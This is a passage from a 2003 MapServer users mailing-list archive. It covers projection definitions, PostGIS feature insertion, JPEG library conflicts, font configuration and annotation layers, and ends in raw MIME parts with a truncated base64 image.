enough to recognize no reprojection is needed, since the EPSG code for both
ends is the same), or does it reproject anyways? What if the layer defines
the projection using full PROJ.4 parameters, does MapServer recognize it as
being that same EPSG code projection, and skip the re-projection, or does it
reproject anyways (to the same projection)?
I'm guessing specifying projections with the EPSG code everywhere possible
is more efficient, but I want to check before I have to go and edit a bunch
of layers.
Thanks,
Jean-Fran?ois Doyon
Internet Service Development and Systems Support / Soutien de syst?mes et
developement de services Internet
GeoAccess Division / Division G?oAcc?s
Canada Center for Remote Sensing / Centre canadien de t?l?d?tection
Natural Resources Canada / Ressources naturelles Canada
Phone / T?l?phone: (613) 992-4902
Fax / T?l?copieur: (613) 947-2410
http://atlas.gc.ca
From bwragg at tpg.com.au Tue Jan 14 14:49:31 2003
From: bwragg at tpg.com.au (Benjamin Wragg)
Date: Wed, 15 Jan 2003 09:19:31 +1030
Subject: [Mapserver-users] Adding Features to PostGIS Layer - Confused
Message-ID: <000001c2bc1f$3423e190$0100a8c0@mapping12>
Hi all,
Currently were running PHP-MapScript and PostGIS and I?m trying to build
into my site the ability to add a feature to a map by specifying one or
more XY coordinates. The feature that?s created, whether it be a point,
line or polygon, must be able to be drawn on the map with a label, used
to select features from another layer and the layer must be displayed in
the legend. My initial thoughts for doing this were something along the
lines of:
1. Create a feature according to the needed type. E.g PointObj for a
point.
2. Pass the feature object to the LayerObj->addFeature() method.
2. Turn the LayerObj on.
3. Draw the map.
But after looking at the documentation I couldn't get this concept to
fit because it says that only a ShapeObj can be passed to the
LayerObj->addFeature method. The only way to create a ShapeObj is to use
the ShapeObj->add() method. This method though only accepts LineObj's.
So as a result of my understanding of the documentation, no matter what
type of feature I want to create, I must create a LineObj first, pass
this to the ShapeObj and then pass the ShapObj to the
LayerObj->addFeature(). So now I?ve came up with the following way of
tackling the problem, but I?m not sure if I?m using the correct
functions and objects or if I have the correct understanding at all:
1. Create a LineObj for every XY coordinate that?s received, even if
it?s a point or polygon that needed.
2. Use the LineObj->setXY() method to set the coordinates for the line.
3. Create a ShapeObj, specifying the Type as point, line or polygon.
4. Use the ShapeObj->add() method to add each LineObj to the ShapeObj.
5. Pass the ShapeObj to the LayerObj->addFeature() method. (Remember the
layer is in PostGIS)
6. Turn the LayerObj on.
7. Draw the map. (Since it?s a PostGIS layer the new feature should be
displayed instantly)
8. Draw the legend
Am I way off the track??? Help???
Benjamin
From pramsey at refractions.net Tue Jan 14 15:00:22 2003
From: pramsey at refractions.net (Paul Ramsey)
Date: Tue, 14 Jan 2003 15:00:22 -0800
Subject: [Mapserver-users] Adding Features to PostGIS Layer - Confused
In-Reply-To: <000001c2bc1f$3423e190$0100a8c0@mapping12>
References: <000001c2bc1f$3423e190$0100a8c0@mapping12>
Message-ID: <3E249686.3060601@refractions.net>
Yes, quite a ways off track... the writable aspects of
Mapserver/Mapscript layers all adhere to Shape file data sources only.
This is a legacy issue from back when that was the only data source, and
therefor the only one worthy of enhancement :)
HOWEVER: you can add features to a PostGIS data source via the back
door. Use a direct pgsql connection within PHP to connect to the PostGIS
database, and run a SQL 'insert' command on the table to add your new
feature.
DEVELOPERS: should the layer concepts be extended to allow all layer
types to be read/writable via the same scripting mechanisms?
Benjamin Wragg wrote:
> Hi all,
>
> Currently were running PHP-MapScript and PostGIS and I?m trying to build
> into my site the ability to add a feature to a map by specifying one or
> more XY coordinates. The feature that?s created, whether it be a point,
> line or polygon, must be able to be drawn on the map with a label, used
> to select features from another layer and the layer must be displayed in
> the legend. My initial thoughts for doing this were something along the
> lines of:
>
> 1. Create a feature according to the needed type. E.g PointObj for a
> point.
> 2. Pass the feature object to the LayerObj->addFeature() method.
> 2. Turn the LayerObj on.
> 3. Draw the map.
>
> But after looking at the documentation I couldn't get this concept to
> fit because it says that only a ShapeObj can be passed to the
> LayerObj->addFeature method. The only way to create a ShapeObj is to use
> the ShapeObj->add() method. This method though only accepts LineObj's.
> So as a result of my understanding of the documentation, no matter what
> type of feature I want to create, I must create a LineObj first, pass
> this to the ShapeObj and then pass the ShapObj to the
> LayerObj->addFeature(). So now I?ve came up with the following way of
> tackling the problem, but I?m not sure if I?m using the correct
> functions and objects or if I have the correct understanding at all:
>
> 1. Create a LineObj for every XY coordinate that?s received, even if
> it?s a point or polygon that needed.
> 2. Use the LineObj->setXY() method to set the coordinates for the line.
> 3. Create a ShapeObj, specifying the Type as point, line or polygon.
> 4. Use the ShapeObj->add() method to add each LineObj to the ShapeObj.
> 5. Pass the ShapeObj to the LayerObj->addFeature() method. (Remember the
> layer is in PostGIS)
> 6. Turn the LayerObj on.
> 7. Draw the map. (Since it?s a PostGIS layer the new feature should be
> displayed instantly)
> 8. Draw the legend
>
> Am I way off the track??? Help???
>
> Benjamin
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
--
__
/
| Paul Ramsey
| Refractions Research
| Email: pramsey at refractions.net
| Phone: (250) 885-0632
\_
From Zatorsky.MichaelP at police.qld.gov.au Tue Jan 14 15:40:23 2003
From: Zatorsky.MichaelP at police.qld.gov.au (Zatorsky.MichaelP at police.qld.gov.au)
Date: Wed, 15 Jan 2003 09:40:23 +1000
Subject: [Mapserver-users] Raster support - JPG problem
Message-ID: <490DDC5F1BA13F49A366F2BEFCFACB1B5B03E3@CIT-XCH-02.prds.qldpol>
Hi,
I have a number of raster images of topographic maps in jpeg (JPG) format. The images are projected into a regional transverse Mercator projection and display perfectly in ArcView & ArcExplorer using a world-file and in MapInfo using a TAB registration file.
Each image is between 2-4 MB and has dimensions of approximately 5000 by 5000 pixels.
I am currently using MapServer 3.6.3 with GDAL support (pre-compiled Windows binaries) and GIF output.
When I attempt to load the image into MapServer as a layer
LAYER
NAME "sheets100k_images"
DATA "images\topomap_100k\au7669a.jpg"
STATUS DEFAULT
TYPE RASTER
PROJECTION #MGA Zone 56
"proj=tmerc"
"datum=WGS84"
"lon_0=141" # central meridian, zone 54
"sf=0.9996"
"y_0=10000000"
"x_0=500000"
END
END
... I receive the following error message:
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
JPEG parameter struct mismatch: library thinks size is 432, caller expects 464
If I convert the image to a TIFF, and rename the file in Map file, it displays perfectly. The fact the JPG is readable by everything else I have that reads JPG suggests the problem is not a corrupt image. The fact the TIFFs work suggests that there problem isn't with the projection complications.
(The problem with the TIFFS is that even with LZW compression each image is between 30-40 MB, and I have 200 of them, so a highly compressed format like JPG is valuable).
Is there a known problem with using JPG as an input data type in the version of MapServer I'm using?
Any advice will be appreciated.
Regards
Michael.
Michael Zatorsky
Manager, Geographic Information Services
Queensland Police Service
GPO Box 1440, Brisbane, QLD 4001, AUSTRALIA
p. 07 3364 4384
f. 07 3364 3942
e. zatorsky.michaelp at police.qld.gov.au
**********************************************************************
CONFIDENTIALITY: The information contained in this
electronic mail message and any electronic files attached
to it may be confidential information, and may also be the
subject of legal professional privilege and/or public interest
immunity. If you are not the intended recipient you are
required to delete it. Any use, disclosure or copying or
this message and any attachments is unauthorised. If you
have received this electronic message in error, please
inform the sender or contact securityscanner at police.qld.gov.au.
This footnote also confirms that this email message has
been checked for the presence of computer viruses.
**********************************************************************
From lyndon.zimmermann at adelaide.edu.au Tue Jan 14 16:47:40 2003
From: lyndon.zimmermann at adelaide.edu.au (Lyndon Zimmermann)
Date: Wed, 15 Jan 2003 11:17:40 +1030
Subject: [Mapserver-users] Buffering problems
References: <000a01c2b655$fc83d9d0$e89e063d@clickntrac>
Message-ID: <3E24AFAC.ED839648@adelaide.edu.au>
Greetings,
I'd like to simulate buffering of a point theme (though may later want
to repeat for a line theme), mapping the region within say 200km of a
port without going to the hassle of creating a polygon theme. I
tried:
LAYER
NAME ports # Actually a node theme
TYPE point
STATUS ON
DATA ports
CLASS
COLOR 0 0 255 # blue
SYMBOL 's10'
SIZEUNITS 'kilometers'
SIZE 200
END
QUERY
TEMPLATE "query_ports.html"
END
TOLERANCE 12
END
with
Symbol
Name 's10'
Type ELLIPSE
Filled
Points
1 1
END
END
It worked until I add the SIZEUNITS, then I get the error:
loadClass(): Unknown identifier. (SIZEUNITS):(112)
I'm using Mapserver 3.4 (I think) png version precompiled on a Windows
NT box. Any clues gratefully received. I've considered updating to
3.6 but I'm not sure what headaches this will create.
Lyndon Z
Adelaide, Australia
From Norman Tue Jan 14 19:06:17 2003
From: Norman (Norman)
Date: Tue, 14 Jan 2003 22:06:17 -0500
Subject: [Mapserver-users] Raster support - JPG problem
References: <490DDC5F1BA13F49A366F2BEFCFACB1B5B03E3@CIT-XCH-02.prds.qldpol>
Message-ID: <08de01c2bc43$13bab8b0$cc36ba8c@sfdev3>
Zatorsky MichaelP writes:
> Hi,
>
> I have a number of raster images of topographic maps in jpeg (JPG) format.
>
> I am currently using MapServer 3.6.3 with GDAL support (pre-compiled Windows binaries) and GIF output.
>
> When I attempt to load the image into MapServer as a layer
> ... I receive the following error message:
>
> CGI Error
> The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
>
>
> JPEG parameter struct mismatch: library thinks size is 432, caller expects 464
Hmm.. It looks like the jpeg tiff libraries mapserver is using were not compiled with
the same compiler flags in the Windows binary disribution
FWIW - usually compile GDAL with the internal version of these libraries
thus insuring that they have the same data layout size and obliviating
the need for sepaate dll's
MapServer seems to run just find doing it this way
Cheers
Norman
From mccrone at pc.jaring.my Tue Jan 14 19:32:08 2003
From: mccrone at pc.jaring.my (Steve McCrone)
Date: Wed, 15 Jan 2003 11:32:08 +0800
Subject: [Mapserver-users] Testsuite - itemquery problems
Message-ID: <006d01c2bc46$b42680b0$7c9f063d@clickntrac>
Hi again,
What I thought would be a simple task has once again caused me problems.
I'm sure its just a silly mistake but I can't seem to find it.
I am duplicating what the itemquery case1 sample does. However, the first
map
is generated, but the second, "zoomed in" is not. It finds the data no
problem
but the image does not get generated and dumped into the image directory
/tmp
To assist here is the relevant parts -
Index.html
=======
MapServer 3.5 Tutorial
map file
======
MAP
NAME case1
SHAPEPATH "Data"
SIZE 300 300
EXTENT 74000 4775000 798000 5499000
WEB
IMAGEPATH "set in index.html"
IMAGEURL "set in index.html"
END
QUERYMAP
STATUS ON
STYLE HILITE
COLOR 255 255 0
END
LAYER
NAME county
DATA county
STATUS ON
TYPE POLYGON
FILTERITEM cty_name
FILTER "%value%"
CLASS
COLOR 212 212 212
OUTLINECOLOR 0 0 0
TEMPLATE case1_template.html
END
END
END
Template file
=========
ItemQuery ExampleCase 1: Simple
ItemQuery
Dump of attributes from that county:
Name: [CTY_NAME] ID Number: [COUN] Abbreviation Code: [CTY_ABBR]
and here's the map of the query results (you can zoom to a set of results as
well):
From morissette at dmsolutions.ca Tue Jan 14 20:48:49 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Tue, 14 Jan 2003 23:48:49 -0500
Subject: [Mapserver-users] Buffering problems
References: <000a01c2b655$fc83d9d0$e89e063d@clickntrac> <3E24AFAC.ED839648@adelaide.edu.au>
Message-ID: <3E24E831.AC9F6059@dmsolutions.ca>
Lyndon Zimmermann wrote:
>
> It worked until I add the SIZEUNITS, then I get the error:
>
> loadClass(): Unknown identifier. (SIZEUNITS):(112)
>
SIZEUNITS is a LAYER parameter (at least in 3.6/3.7). Try moving it to
the LAYER level in your mapfile.
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From morissette at dmsolutions.ca Tue Jan 14 20:54:21 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Tue, 14 Jan 2003 23:54:21 -0500
Subject: [Mapserver-users] Raster support - JPG problem
References: <490DDC5F1BA13F49A366F2BEFCFACB1B5B03E3@CIT-XCH-02.prds.qldpol>
Message-ID: <3E24E97D.BD2D8D97@dmsolutions.ca>
Zatorsky.MichaelP at police.qld.gov.au wrote:
>
> ... I receive the following error message:
>
> CGI Error
> The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
>
> JPEG parameter struct mismatch: library thinks size is 432, caller expects 464
>
That's a known issue (library conflict) with our Win32 builds, I don't
think it's been resolved yet, see
http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=203
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From morissette at dmsolutions.ca Tue Jan 14 21:06:05 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Wed, 15 Jan 2003 00:06:05 -0500
Subject: [Mapserver-users] Adding Features to PostGIS Layer - Confused
References: <000001c2bc1f$3423e190$0100a8c0@mapping12> <3E249686.3060601@refractions.net>
Message-ID: <3E24EC3D.9A831C78@dmsolutions.ca>
Paul Ramsey wrote:
>
> Yes, quite a ways off track... the writable aspects of
> Mapserver/Mapscript layers all adhere to Shape file data sources only.
> This is a legacy issue from back when that was the only data source, and
> therefor the only one worthy of enhancement :)
>
Unless I'm mistaken, the $layer->addFeature() method doesn't even apply
to shapefiles. It is only there to create inline features in a layer
(in memory).
To write to a shapefile you have to use the shapefileObj class.
> HOWEVER: you can add features to a PostGIS data source via the back
> door. Use a direct pgsql connection within PHP to connect to the PostGIS
> database, and run a SQL 'insert' command on the table to add your new
> feature.
>
I think this should remain the preferred way to add features to a RDBMS
layer anyway. Doing it via MapServer is just going to add overhead and
restrict your ability to take full advantage of the features of the
layer format (PostGIS in this case).
> DEVELOPERS: should the layer concepts be extended to allow all layer
> types to be read/writable via the same scripting mechanisms?
>
As mentioned above the layerObj are read-only and making them support
write access may not be the best thing to do.
Instead we could consider creating a clone of the shapefileObj that
would use OGR at the lower level (or extending shapefileObj to support
OGR formats). Since OGR already supports most formats that MapServer
does (including PostGIS), that would keep things much simpler: only one
interface to maintain instead of having to extend all format drivers in
MapServer and making them more complicated than they need to be.
And once again, for databases like PostGIS I think doing direct SQL
calls to add or update feature should be the preferred approach.
(Note that this is just my opinion. Other developers may have a
different opinion.)
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From morissette at dmsolutions.ca Tue Jan 14 21:22:56 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Wed, 15 Jan 2003 00:22:56 -0500
Subject: [Mapserver-users] Definition Projections, raw proj parameters vs
EPSG code
References: <7CDD7B94357FD5119E800002A537C46E230599@s5-ccr-r1.ccrs.nrcan.gc.ca>
Message-ID: <3E24F030.40C2D5D5@dmsolutions.ca>
JF,
These are all very legitimate questions but unfortunately I don't think
anyone will have clear answers for you. Your questions are in a grey
area and we would need to do some checking to find the answers... read
on...
Jean-Francois.Doyon at ccrs.nrcan.gc.ca wrote:
>
> So, when defining the projection of a layer in a MapFile used for WMS (or
> WFS I guess), am I better off using the EPSG code, or a full definition ?
> does it matter ?
>
For readibility of the mapfile, the EPSG code is better, but in doing
some profiling we realized that PROJ's time spent reading the EPSG file
adds a non-negligible overhead to MapServer requests.
So I'm not sure what's best...
> In the case where the output projection is the same as the input, is there
> an advantage to defining the layer using the EPSG code (MapServer is smart
> enough to recognize no reprojection is needed, since the EPSG code for both
> ends is the same), or does it reproject anyways? What if the layer defines
> the projection using full PROJ.4 parameters, does MapServer recognize it as
> being that same EPSG code projection, and skip the re-projection, or does it
> reproject anyways (to the same projection)?
>
In theory it should recognize that the projections are the same and skip
the reprojection, there is a msProjectionDiffers() function in the code
for that but I'm not 100% sure that this is always happening properly
and/or that this function is used everywhere it should be.
So once again this would need some experimentation in order to give you
a clear answer. This is a very important question I agree since it
represents a potential waste of CPU cycles... (unfortunately all those
details take time...)
> I'm guessing specifying projections with the EPSG code everywhere possible
> is more efficient, but I want to check before I have to go and edit a bunch
> of layers.
>
As mentioned above, I'm not convinced that it would be more efficient.
The main reason being that PROJ seems to re-read the 'epsg' file
everytime it receives and EPSG code. I could be wrong on this, but
that's the impression that I have, and one of the many things I want to
check one day when I have some free CPU cycles. ;)
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From morissette at dmsolutions.ca Tue Jan 14 21:26:47 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Wed, 15 Jan 2003 00:26:47 -0500
Subject: [Mapserver-users] ogr and MapInfo
References:
Message-ID: <3E24F117.F6D92779@dmsolutions.ca>
Andr?s Collao wrote:
>
> I do not know as a file of MAPINFO with MAPSERVER can be used, is necessary
> to transform it or to turn it to another one file or is necessary to use a
> special commando of MAPSCRITP in the file .MAP
>
You do not have to import the files, MapServer will read them directly
in TAB format if it is compiled with the OGR option. For all the
details, see http://mapserver.gis.umn.edu/doc36/ogr-howto.html
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From morissette at dmsolutions.ca Tue Jan 14 21:30:40 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Wed, 15 Jan 2003 00:30:40 -0500
Subject: [Mapserver-users] Working with TrueType Fonts
References: <020b01c2bbe9$6ea20080$0900a8c0@cpi.local>
Message-ID: <3E24F200.1F8D51FB@dmsolutions.ca>
"Calin D. NITU" wrote:
>
> I created a directory called FONT under the directory where it is the
> '*.map' file
> Here I put all the TTF files and I created a list with the fonts - named
> FONTS.TXT:
> fritqat fritqat.ttf
> fritqat-bold fritqtb0.ttf
> fritqat-italic fritqti0.ttf
> fritqat-bold-italic fritqtb2.ttf
>
> The error that I get is
> - "MapServer Error in msGetLabelSize(): Could not find/open font
> in ....." - with PHP environment
> - "msGetLabelSize(): TrueType Font error. Could not find/open
> font" - with clasic HTML
>
> We are using the stabile version of MAPSERVER 3.6.
>
Is your MapServer compiled with Freetype2 by any chance? Freetype2
requires that your font (.ttf) file paths must be absolute in the
fontst.txt file.
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From morissette at dmsolutions.ca Tue Jan 14 21:42:07 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Wed, 15 Jan 2003 00:42:07 -0500
Subject: [Mapserver-users] TrueType Font and Label Angle
References: <1042480398.3e22fd0eaaa17@webmail.lmi.net>
Message-ID: <3E24F4AF.117CA723@dmsolutions.ca>
"Jonathan W. Lowe" wrote:
>
> For what it's worth, my installation on RedHat 8.0 didn't have the label angle
> problems, so it is possible to successfully compile the software on Linux. At
> one point in my efforts to overcome the label angle problems, I found a
> reference that said the mere presence of freetype2 might force the compiler to
> use freetype2 (the supposed culprit in the label angle problem) rather than
> freetype1. Do you have root access to the system on which you are compiling? I
> had to isolate libraries like gd and freetype in a local directory in order to
> be sure my compilation used exactly the libraries I intended it to use.
>
FYI there is a --enable-force-freetype1 configure switch in 3.6.x and
3.7 to try to force detection of Freetype 1 in priority over freetype 2
when a system has both. Starting with RH 7.x and 8.x this is very
useful if you want to compile with your own custom GD with freetype 1.3.
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From lyndon.zimmermann at adelaide.edu.au Tue Jan 14 22:00:51 2003
From: lyndon.zimmermann at adelaide.edu.au (Lyndon Zimmermann)
Date: Wed, 15 Jan 2003 16:30:51 +1030
Subject: [Mapserver-users] Projection to Albers
References: <000a01c2b655$fc83d9d0$e89e063d@clickntrac> <3E24AFAC.ED839648@adelaide.edu.au>
Message-ID: <3E24F913.BBD9010C@adelaide.edu.au>
Thanks for the clues on my previous problems.
I'd like to have a go at projection on the fly but having trouble
determining the projection parameters for an Albers Projection.
The one we use has central meridien 132, latitude of projection's
origin 0, 1st standard parallel -18, second standard parallel -36,
false easting 0, false northing 0, units meters, spheriod GDA 94 ~ WGS
84.
I couldn't find any Albers examples on
http://MAPserver.gis.umn.edu/doc36/proj.html. Any clues on how to get
started?
Regards,
Lyndon Z
From pramsey at refractions.net Tue Jan 14 22:11:54 2003
From: pramsey at refractions.net (Paul Ramsey)
Date: Tue, 14 Jan 2003 22:11:54 -0800
Subject: [Mapserver-users] Projection to Albers
In-Reply-To: <3E24F913.BBD9010C@adelaide.edu.au>
References: <000a01c2b655$fc83d9d0$e89e063d@clickntrac> <3E24AFAC.ED839648@adelaide.edu.au> <3E24F913.BBD9010C@adelaide.edu.au>
Message-ID: <3E24FBAA.6050204@refractions.net>
Here's your PROJECTION object:
PROJECTION
"proj=aea"
"ellps=WGS84"
"lon_0=132"
"lat_0=0"
"lat_1=-18"
"lat_2=-36"
"x_0=0"
"y_0=0"
END
I find that reading the proj4 epsg file often gives me good example for
how to express projections in proj4 syntax.
Lyndon Zimmermann wrote:
> Thanks for the clues on my previous problems.
>
> I'd like to have a go at projection on the fly but having trouble
> determining the projection parameters for an Albers Projection.
> The one we use has central meridien 132, latitude of projection's
> origin 0, 1st standard parallel -18, second standard parallel -36,
> false easting 0, false northing 0, units meters, spheriod GDA 94 ~ WGS
> 84.
>
> I couldn't find any Albers examples on
> http://MAPserver.gis.umn.edu/doc36/proj.html. Any clues on how to get
> started?
>
> Regards,
>
--
__
/
| Paul Ramsey
| Refractions Research
| Email: pramsey at refractions.net
| Phone: (250) 885-0632
\_
From warmerdam at pobox.com Tue Jan 14 22:14:53 2003
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Wed, 15 Jan 2003 01:14:53 -0500
Subject: [Mapserver-users] Projection to Albers
In-Reply-To: <3E24F913.BBD9010C@adelaide.edu.au>
References: <000a01c2b655$fc83d9d0$e89e063d@clickntrac> <3E24AFAC.ED839648@adelaide.edu.au> <3E24F913.BBD9010C@adelaide.edu.au>
Message-ID: <3E24FC5D.1050602@pobox.com>
Lyndon Zimmermann wrote:
> Thanks for the clues on my previous problems.
>
> I'd like to have a go at projection on the fly but having trouble
> determining the projection parameters for an Albers Projection.
> The one we use has central meridien 132, latitude of projection's
> origin 0, 1st standard parallel -18, second standard parallel -36,
> false easting 0, false northing 0, units meters, spheriod GDA 94 ~ WGS
> 84.
>
> I couldn't find any Albers examples on
> http://MAPserver.gis.umn.edu/doc36/proj.html. Any clues on how to get
> started?
Lyndon,
The list of projections at the following url has information on
how many projections are formulated in PROJ.4:
http://www.remotesensing.org/geotiff/proj_list
The albers info specifically is at:
http://www.remotesensing.org/geotiff/proj_list/albers_equal_area_conic.html
Good luck,
--
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush | Geospatial Programmer for Rent
From Mike Tue Jan 14 22:32:24 2003
From: Mike (Mike)
Date: Wed, 15 Jan 2003 07:32:24 +0100
Subject: [Mapserver-users] HTML-Legends ???
Message-ID: <003201c2bc5f$dd8d86b0$111b550a@nt.halle.de>
This is a multi-part message in MIME format.
------=_NextPart_000_002F_01C2BC68.3F305CF0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
hi mapservers,
i'm working with mapserver 3.5 with win-binaries on win2000-prof an iis.
i can't use the html-legends. i have insert the line: TEMPLATE =
"legend.html" in the map-file in the legend-part,
but i get following error-message: loadLegend(): Unknown identifier. =
(TEMPLATE):(60)=20
hm. ???=20
greetings mikeE.
::: mike.elstermann at itc-halle.de ::: http://www.itc-halle.de ::: =
GeoDaten Online? -> http://www.itcgis.de
------=_NextPart_000_002F_01C2BC68.3F305CF0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
hi mapservers,
i'm working with mapserver 3.5 with =
win-binaries on=20
win2000-prof an iis.
i can't use the html-legends. i have =
insert the=20
line: TEMPLATE "legend.html" in the map-file in the=20
legend-part,
but i get following error-message: =
loadLegend(): Unknown identifier. =
(TEMPLATE):(60)=20
------=_NextPart_000_002F_01C2BC68.3F305CF0--
From raskpost at start.no Tue Jan 14 23:09:20 2003
From: raskpost at start.no (John Doe)
Date: Wed, 15 Jan 2003 08:09:20 +0100 (CET)
Subject: [Mapserver-users] How to use annotation layer
Message-ID: <1042614560.3e25092069bee@epost.start.no>
Hi everybody
Is there anybody outthere who can show me how to use a annotation layer in
MapServer? (it's the kind of annotation which is used in arcview/arcinfo).
Thank you,
Frode
------------------------------------------------------------
F? din egen @start.no-adresse gratis p? http://www.start.no/
From pram at pramcentral.com Tue Jan 14 23:18:23 2003
From: pram at pramcentral.com (Prashanth Ram)
Date: Wed, 15 Jan 2003 02:18:23 -0500
Subject: [Mapserver-users] How to use annotation layer
References: <1042614560.3e25092069bee@epost.start.no>
Message-ID: <3E250B3F.1CF6F48B@pramcentral.com>
Hi Frode: I hope this helps.. I just got mine working a few days ago.. This
is the snippet from my map file:
LAYER
NAME townsp1_anno
MAXSCALE 300000
STATUS ON
DATA townsp1
TYPE ANNOTATION
LABELITEM "Town"
CLASS
COLOR 255 255 255
LABEL
FONT arial
MINSIZE 9
MINFEATURESIZE 40
MINDISTANCE 10
POSITION CC
SIZE TINY
COLOR 0 0 0
#ANGLE 45
END
END
END # Town annotation
This enables the town name to be always on..
Hope this helps...
-Prashanth
John Doe wrote:
> Hi everybody
>
> Is there anybody outthere who can show me how to use a annotation layer in
> MapServer? (it's the kind of annotation which is used in arcview/arcinfo).
>
> Thank you,
> Frode
>
> ------------------------------------------------------------
> F? din egen @start.no-adresse gratis p? http://www.start.no/
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From stefan.schwarzer at grid.unep.ch Wed Jan 15 00:00:23 2003
From: stefan.schwarzer at grid.unep.ch (Stefan Schwarzer)
Date: Wed, 15 Jan 2003 09:00:23 +0100
Subject: [Mapserver-users] Maximum Extent
Message-ID: <5.2.0.9.0.20030115084424.039303e0@gridg.grid.unep.ch>
--=====================_176873700==.ALT
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable
Hi everybody,
is there a possibility to specify the maximum extent within MS?
In my case I use layers covering the whole world. The default extent to be=
=20
displayed (the first map-image shown) is only Western Europe. If someone=20
zooms out from here I don't want the map to zoom out more then the extent=20
of Europe (west > -20=B0, east < 180=B0).
I tried to verify the coordinates after the "$map ->=20
zoompoint($zoom_factor, $my_point, $map -> width, $map -> height,=20
$my_extent);" (MapScript/PHP) event and to re-zoom if the coordinates=20
extend over the max/min values. But this seems to be not very elegant.=20
There should be a nicer solution. The EXTENT command in the map file only=20
gives the coordinates to start with, but not the max/min values, right?
Thanks for any hints,
Stefan
_______________________________________
Stefan Schwarzer
Consultant on GEO
UNEP/DEWA/GRID-Geneva
Chemin des Anemones 11
CH - 1219 Chatelaine
Switzerland
Tel: (+41) 22.917.83.49
Fax: (+41) 22.917.80.29
Email: stefan.schwarzer at grid.unep.ch
Internet: http://geodata.grid.unep.ch/
_______________________________________=20
--=====================_176873700==.ALT
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi everybody,
is there a possibility to specify the maximum extent within MS?
In my case I use layers covering the whole world. The default extent to
be displayed (the first map-image shown) is only Western Europe. If
someone zooms out from here I don't want the map to zoom out more then
the extent of Europe (west > -20=B0, east < 180=B0).
I tried to verify the coordinates after the
"$map -> zoompoint($zoom_factor, $my_point,
$map -> width, $map -> height, $my_extent);"
(MapScript/PHP) event and to re-zoom if the coordinates extend over the
max/min values. But this seems to be not very elegant. There should be a
nicer solution. The EXTENT command in the map file only gives the
coordinates to start with, but not the max/min values, right?
Email:
stefan.schwarzer at grid.unep.ch Internet:
http://geodata.grid.unep.ch/ ___=
____________________________________
--=====================_176873700==.ALT--
From calin at internetgids.be Wed Jan 15 05:59:11 2003
From: calin at internetgids.be (Calin D. NITU)
Date: Wed, 15 Jan 2003 14:59:11 +0100
Subject: [Mapserver-users] Mathematical model applied at ANGLE AUTO
Message-ID: <00c401c2bc9e$47f8fd70$0900a8c0@cpi.local>
This is a multi-part message in MIME format.
------=_NextPart_000_00C0_01C2BCA6.A9A374D0
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_00C1_01C2BCA6.A9A374D0"
------=_NextPart_001_00C1_01C2BCA6.A9A374D0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Thanks for the tip for working with TRUTYPE fonts in labeling. Especialy =
to Daniel Morissete and John Deck.=20
Now I get another problem.=20
I am tring to figure out the mathematical model which is applied at =
declaration ANGLE AUTO in a LABEL. I want to label some streets with =
their name stored in NAAM colum of the DBF
The results are very strange....=20
------=_NextPart_001_00C1_01C2BCA6.A9A374D0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Thanks for the tip for working with =
TRUTYPE fonts=20
in labeling. Especialy to Daniel Morissete and John Deck.
Now I get another problem. =
I am tring to figure out the =
mathematical model=20
which is applied at declaration ANGLE AUTO in a LABEL. I want to label =
some=20
streets with their name stored in NAAM colum of the DBF
The results are very strange.... =
------=_NextPart_001_00C1_01C2BCA6.A9A374D0--
------=_NextPart_000_00C0_01C2BCA6.A9A374D0
Content-Type: image/jpeg;
name="Without ANGLE AUTO.jpg"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="Without ANGLE AUTO.jpg"
/9j/4AAQSkZJRgABAgEASABIAAD/7RNsUGhvdG9zaG9wIDMuMAA4QklNA+0KUmVzb2x1dGlvbgAA
AAAQAEgAAAABAAIASAAAAAEAAjhCSU0EDRhGWCBHbG9iYWwgTGlnaHRpbmcgQW5nbGUAAAAABAAA
